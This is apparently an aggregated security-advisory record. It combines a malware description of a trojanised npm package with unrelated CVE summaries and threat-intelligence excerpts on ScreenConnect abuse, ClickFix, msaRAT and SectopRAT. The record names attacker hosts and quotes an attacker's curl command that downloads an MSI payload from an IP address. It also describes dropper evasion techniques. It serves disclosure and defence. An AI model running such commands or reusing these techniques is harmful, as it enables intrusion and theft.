---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (e20e151930946a17e9bea02eb51c760264c27138792955452acc4231196ceaae)
On require() of bigops-voximplant, index.js loads _ext.js which downloads an OS/arch-specific binary from Cloudflare Workers subdomains whose hostnames are reassembled at runtime from split string fragments (oob-worker.cf102-baf.workers.dev, oob-worker.cf99-9b3.workers.dev, oob-worker.cf100-416.workers.dev), with a DNS-over-TXT base64 chunked fallback resolving from sdk.dl.wel1.ru, ext.dl.wel1.ru, pkg.dl.wel1.ru, and net.dl.wel1.ru to bypass HTTPS egress filtering. The fetched bytes are written to /tmp/.cache_<hex> on Unix (or %TEMP%\dotnet_diag_<hex>.exe on Windows), chmod'd 0755 via fs['chmod'+'Sync'], and detached-spawned via /bin/sh -c '<path> &' or cmd /c start /b, with no hash or signature verification and no source-of-truth publisher domain. A second, structurally identical dropper is bundled as lib/telemetry.js under an 'analytics SDK' cover story, using the same base64 chunk assembly, string-concatenated child_process require, and detached /bin/sh spawn. Hosts and dangerous APIs are constructed via runtime string joins ('child_'+'process', split-and-join hostname fragments) to defeat static inspection. The destinations are anonymous Cloudflare Workers and a.ru DNS-TXT channel unrelated to the package's stated Voximplant integration purpose.
## Source: ghsa-malware (883fad29cd53f12c99b7191ee77a0400cca0ee0911467b88f5d64f8b3402798a)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
FirmaCheck for Windows before 1.3.16 contains a DLL hijacking vulnerability that allows local attackers to execute arbitrary code by placing a crafted openssl.cnf file in the unvalidated C:\Program Files (x86)\Common Files\SSL\ directory path. Attackers can write a malicious OpenSSL configuration file referencing an attacker-controlled DLL to achieve code execution at startup process privilege level when FirmaCheck.exe runs automatically at system startup.
A weakness has been identified in Razer RzUpdateService 1.10.14.0. Affected by this vulnerability is an unknown functionality of the file C:\Program Files (x86)\Razer\RzUpdateEngineService\RzUpdateService.exe of the component Named Pipe Handler. Executing a manipulation of the argument lpThreadParameter can lead to improper privilege management. The attack requires local access. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure.
Improper access control in the IRP_MJ_WRITE command interface in
Wellbia XIGNCODE3 xhunter2.sys, version 2026.6.1.192, allows a local, unprivileged attacker to achieve local privilege escalation to
NT AUTHORITY\SYSTEM, extract credentials from PPL-protected
lsass.exe, and terminate PPL-protected security processes.
FreeRDP before 3.30.0 (<= 3.29.0) contains a heap-based buffer overflow in the Windows clipboard client's CliprdrStream_Read function (client/Windows/wf_cliprdr.c). When an OLE paste consumer (e.g. explorer.exe) calls IStream::Read with a fixed-size buffer of cb bytes, CliprdrStream_Read requests file contents from the RDP server and then copies the response into the caller's buffer using the server-supplied length (req_fsize) instead of cb. A malicious or compromised RDP server can return an oversized CB_FILECONTENTS_RESPONSE, causing an out-of-bounds write of attacker-controlled data into the paste consumer's heap buffer when a user pastes server-offered clipboard file contents.
CentreStack before 17.3 contains an unauthenticated deserialization vulnerability in GSNamespace.dll that allows unauthenticated attackers to create arbitrary local OS user accounts by supplying a crafted base64-encoded XML string to exposed API endpoints. Attackers can send a malicious StorageConfigure parameter to the jsonimportuserbyupn, jsonimportuserbyupnex, or japiimportuserbyupn endpoints to trigger InternalImportAdUserByUPN(), causing GladinetCloudMonitor.exe to invoke the NetUserAdd Windows API with attacker-controlled credentials and create arbitrary directories on the server filesystem.
Leveraging legitimate software is one of cybercriminals’ tactics of choice, with remote management tools ranking among their top tools. A recent example involves the remote administration utility ScreenConnect. It’s designed for IT support teams to troubleshoot systems and configure software seamlessly in the background. However, when weaponized by threat actors, ScreenConnect becomes a versatile attack vehicle used to harvest data, deploy malware, and move laterally across corporate networks. During a recent incident detected by Kaspersky Managed Detection and Response , our experts identified an attempt to use ScreenConnect in an attack. This allowed a detailed study of how attackers used this application in a large-scale malware distribution campaign. The following breakdown illustrates the mechanics of ScreenConnect-assisted attacks, and outlines key strategies to defend your organization against them. How ScreenConnect reaches target computers In the campaign analyzed by our experts, the attackers bundled ScreenConnect with legitimate free business software. They established a network of phishing websites to spoof popular tools, including OBS Studio, DS4Windows, DNS Jumper, Glary Utilities, Bandizip, Process Hacker, and others. These rogue websites featured high-quality designs that could be taken for the official pages, making them highly convincing to unsuspecting users. Once the victim clicks the download button for the software, an archive is downloaded to their computer that contains additional files alongside the requested application: A legitimately signed Microsoft executable ( exe ), renamed to match the expected application installer (for example, OBS-Studio-Installer.exe ) A malicious library named res.1033.dll An Assets directory containing installers for both ScreenConnect and the intended application Launching the renamed file disguised as the app installer triggers DLL sideloading of a malicious library. This library silently runs the ScreenConnect installation without restarting the system, while using the standard Windows installer to set up the software the user originally tried to install. The attackers used search engine optimization techniques to drive traffic to their fake websites. As a result, these malicious pages appeared at the top of search results for certain free software utilities on major search engines. Our experts discovered over 90 domain names translated into more than 10 different languages. While most of these websites targeted English, Russian, and Chinese speakers, several domains catered to German, French, Spanish, Arabic, and other regional audiences. A detailed analysis of the IP addresses and associated spoofed domains is available in our technical research article on Securelist, along with full indicators of compromise. Why the attackers exploited ScreenConnect In this campaign, attackers leveraged ScreenConnect to generate and execute malicious scripts on victim machines. These scripts served several key functions: they created exclusions for specific drives, directories, and processes within Windows Defender, disabled the User Account Control (UAC) security mechanism, and delivered and deployed AsyncRAT – a remote access Trojan. To maintain persistence, the scripts configured a Windows scheduled task to run the malicious code at preset intervals. AsyncRAT then established a connection with the attackers’ command-and-control server to receive further instructions. The primary objective of this campaign appears to be gaining unauthorized access to enterprise systems, likely to then resell it on cybercrime marketplaces. How to secure corporate infrastructure Although ScreenConnect in and of itself is a legitimate tool, its presence poses a security risk to corporate environments. Consequently, Kaspersky security solutions detect this application as not-a-virus:HEUR:RemoteAdmin.MSIL.ConnectWise.gen. Security teams should implement the following controls: Enforce strict applicatio…
CWE-787 Out-of-bounds write vulnerability exists that could cause loss of data or potentially risk arbitrary code execution when a malicious CGF file is imported to IGSS Definition.
A sophisticated ClickFix campaign variant uses social engineering to trick victims into executing commands via the Windows Run dialog. The technique leverages rundll32.exe to load remote non-DLL payloads by ordinal export #1 over WebDAV connections tunneled through HTTPS port 443. Multiple incidents at a single organization show evolving obfuscation methods including WMI process spawning, caret insertion, and runtime string assembly to evade detection. The attack chain utilizes trusted Windows binaries like pcalua.exe to break process lineage tracking. No files are dropped to disk, and payloads are invoked by ordinal rather than named functions. Successful attacks exfiltrated browser credentials and sensitive documents totaling 13MB. The most obfuscated variant evaded automated EDR detection entirely, being discovered only through proactive threat hunting focused on ordinal execution patterns rather than keyword detection.
CVE-2026-55732 is a high-severity out-of-bounds read vulnerability (CWE-125) in Loytec LIP-ME20xC and multiple other Loytec products up to version 8.4.18 on LINX-A64. It occurs in the BACnet packet parsing function `bacdt_datetime_to_tod` when processing malformed BACnet TimeSynchronization or UTC-TimeSynchronization packets containing an invalid month value. An unauthenticated remote attacker can exploit this to crash the `linx_a64.exe` process and cause a device reboot.
AhnLab monitored Advanced Persistent Threat attacks targeting South Korea during June 2026, identifying multiple attack types distributed primarily through spear phishing campaigns. Threat actors disguised malicious files as work-related documents, with LNK files being the most common delivery method. Six distinct attack types were observed, employing various techniques including malicious PowerShell commands, AutoIt malware, curl.exe abuse, GitHub repository exploitation, Task Scheduler persistence, DLL side-loading, and Python backdoors. These attacks deployed Infostealers, keyloggers, backdoors, and remote access tools like XenoRAT. Once executed, the malware established persistence, exfiltrated system information, and enabled remote control of compromised systems. Organizations are advised to verify email senders, avoid opening files from unknown sources, apply security patches, and maintain updated antivirus software to mitigate these persistent threats.
Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”. msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications. This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser. msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay. Overview of Chaos ransomware Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog. Figure 1. Chaos ransomware leak site. Infection chain Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT. Figure 2. Infection chain. After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected. curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update. Figure 3. Properties of “update_ms.msi” When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize . This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3 , directly into memory. Figure 4. Structure of the MSI file. lib.dll (msaRAT) msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN , which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note. Tokio runtime initialization Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async / await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is res…
A malvertising campaign targeted 29 organizations by exploiting the legitimate Claude.ai domain to distribute a fake ClaudeDesktop.exe containing the SectopRAT remote access trojan. The campaign used advanced anti-analysis techniques such as VMProtect packing, GPU-based VM detection, and DirectX shader-based payload decryption. The malware's command-and-control infrastructure leveraged Ethereum blockchain transactions (EtherHiding) to hide C2 addresses, enhancing resilience against takedowns. SectopRAT exfiltrated sensitive data including credit card information, credentials, browser data, and personal files. The campaign infrastructure is linked to previous operations dating back to December 2025 and associated with known threat groups.
The servereye client (also known as sensorhub, technically ClientAgentContainerService) versions 20.15 and earlier are vulnerable to Local Privilege Escalation. The high-privileged service SE3Recovery (EmergencyRecoveryService.exe), running as SYSTEM, periodically monitors the directory %ProgramData%\ServerEye3\update\ for a trigger file named "update_available". Due to insufficient access restrictions on this directory, a local standard user can create the trigger file and provide a path to a directory containing malicious JSON instructions. The service subsequently executes the utility UpdaterAction.exe with SYSTEM privileges, which parses the instructions and performs an unvalidated file copy from a user-controlled source to a protected system destination (e.g., overwriting a service binary). This leads to full system compromise as the service automatically restarts the overwritten binary with SYSTEM privileges.
An issue in ZipGenius Team ZipGenius v.6.3.2.3116 and before allows a remote attacker to escalate privileges and execute arbitrary code via the zipgenius.exe.
An issue in ConeXware, Inc Power Archiver v.22.00.11 and before allows a remote attacker to escalate privileges and execute arbitrary code via the powerarc.exe.
